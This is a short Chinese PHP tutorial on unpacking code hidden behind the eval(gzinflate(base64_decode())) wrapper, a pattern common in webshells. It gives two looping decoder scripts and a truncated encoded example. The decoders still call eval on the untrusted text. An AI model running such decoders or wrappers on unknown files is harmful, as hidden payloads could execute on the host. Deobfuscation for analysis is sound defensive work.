<?php
eval(gzinflate(base64_decode('加密部分 ')));
?>
只需要把eval 改成echo即可输出明文内容
如果改为echo还是类似的内容可以使用以下的的解密方法:
解法1:
<?php
//已经加密的文件内容
$a = "eval(gzinflate(base64_decode('这里面放BASE64代码')));";
function decodephp($a)
{
$max_level = 300; //最大层数
for ($i = 0; $i < $max_level; $i++) {
ob_start();
eval(str_replace('eval', 'echo', $a));
$a = ob_get_clean();
if (strpos($a, 'eval(gzinflate(base64_decode') === false) {
return $a;
}
}
}
echo decodephp($a);
?>
解法2:
<?php
$a = file_get_contents("加密.php"); //含有eval语句的文本文件
//将有eval(gzinflate(base64_decode的加密文件只留eval(gzinflate(base64_decode('...');"语句
//其他诸如"<?"等信息都去掉并保存文件为"加密.php"
while (strstr($a, "eval")) {
ob_start();
eval(str_replace("eval", "echo", $a));
$a = ob_get_contents();
}
echo $a;
?>
例子:
下面这个例子用echo也无法解密,但是可以用上面的2个方法
<?php
echo(gzinflate(base64_decode('DdS3EqNWAEDRfn/Eu0NBTmOPd8hCpEcWNB7CAyRA5Pj13u42p72///3n99iMP37APet+1vf7W3XZCn/m2QIZ6r8SFkMJf/4ll96jnWxdUGSvipB2wnTz8xBSECiRrp8C1DlCud/NqVu1lcEKLGq1V+jN3hxKkTvHZ6uSVWv0zUV0hZ1f9a9xJPwBpYbrQc0Xw5YJAUra6iKodOSy5tPe7Gt7fRLuqRnu0IO7HmRrVD1fxFeK2f2O1fv5wqik6ci0XuSjF4Swsih9w1QiGhdHod7s1r9EhnivBnLsmn4xa4lbDA6WrAPtdbdEHOZswZhkFO3s0/HloCA9DY8P4+bJkXLIdchUxFHPTxKZWt+WnWmGLXhiQHN3qm0Q6VnoO3vY/ckHsWOIGlV8XMV+UaZEcKBPsZgj+S7kKISh2ZQiNnVK4zlHRIt6B3jDl1Q4+e1dy5ZqmXb73JPXtWn+17i/hvBQFlEdrFopoTeovgwy5WxlIZVZNEnYBYkG6g9OQrBgxMC7yVs6jwjMpoeCIIio/dFLm3cHTaA141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